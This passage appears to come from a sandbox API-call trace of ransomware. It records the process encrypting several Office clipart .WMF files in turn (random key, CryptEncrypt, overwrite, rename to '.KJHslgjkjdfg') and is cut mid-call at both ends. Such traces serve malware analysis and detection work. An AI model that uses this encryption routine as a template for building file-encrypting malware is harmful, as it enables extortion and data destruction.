lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0194.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.408] GetProcessHeap () returned 0x2ef0000 [0194.408] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.408] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.408] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.411] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.411] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.411] GetProcessHeap () returned 0x2ef0000 [0194.411] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.411] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.411] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.411] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.411] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.411] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.411] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.412] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.412] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.412] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.412] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaac, lpOverlapped=0x0) returned 1 [0194.412] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab0, dwBufLen=0xab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xab0) returned 1 [0194.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.412] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xab0, lpOverlapped=0x0) returned 1 [0194.412] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.412] SetEndOfFile (hFile=0x130) returned 1 [0194.415] GetProcessHeap () returned 0x2ef0000 [0194.415] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.415] GetProcessHeap () returned 0x2ef0000 [0194.415] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.kjhslgjkjdfg")) returned 1 [0194.416] CloseHandle (hObject=0x130) returned 1 [0194.416] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0194.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.418] GetProcessHeap () returned 0x2ef0000 [0194.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.418] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.420] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.420] GetProcessHeap () returned 0x2ef0000 [0194.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.420] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.420] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.420] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.421] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.421] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.421] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.421] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c08, lpOverlapped=0x0) returned 1 [0194.422] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c10) returned 1 [0194.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.422] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c10, lpOverlapped=0x0) returned 1 [0194.422] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.422] SetEndOfFile (hFile=0x130) returned 1 [0194.423] GetProcessHeap () returned 0x2ef0000 [0194.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.423] GetProcessHeap () returned 0x2ef0000 [0194.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.kjhslgjkjdfg")) returned 1 [0194.424] CloseHandle (hObject=0x130) returned 1 [0194.424] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0194.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.425] GetProcessHeap () returned 0x2ef0000 [0194.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.425] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.425] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.427] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.427] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.427] GetProcessHeap () returned 0x2ef0000 [0194.427] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.427] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.428] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.428] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.428] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xda6, lpOverlapped=0x0) returned 1 [0194.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdb0) returned 1 [0194.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.428] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdb0, lpOverlapped=0x0) returned 1 [0194.429] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.429] SetEndOfFile (hFile=0x130) returned 1 [0194.432] GetProcessHeap () returned 0x2ef0000 [0194.432] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.432] GetProcessHeap () returned 0x2ef0000 [0194.432] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.kjhslgjkjdfg")) returned 1 [0194.433] CloseHandle (hObject=0x130) returned 1 [0194.433] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0194.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.434] GetProcessHeap () returned 0x2ef0000 [0194.434] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.434] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.434] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.436] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.436] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.436] GetProcessHeap () returned 0x2ef0000 [0194.436] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.436] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.436] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.436] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.436] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.436] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.436] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.436] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.436] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.436] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.437] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3a94, lpOverlapped=0x0) returned 1 [0194.440] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3aa0) returned 1 [0194.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.440] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3aa0, lpOverlapped=0x0) returned 1 [0194.440] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.440] SetEndOfFile (hFile=0x130) returned 1 [0194.440] GetProcessHeap () returned 0x2ef0000 [0194.440] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.440] GetProcessHeap () returned 0x2ef0000 [0194.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.kjhslgjkjdfg")) returned 1 [0194.441] CloseHandle (hObject=0x130) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0194.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.443] GetProcessHeap () returned 0x2ef0000 [0194.443] RtlAllocateHeap 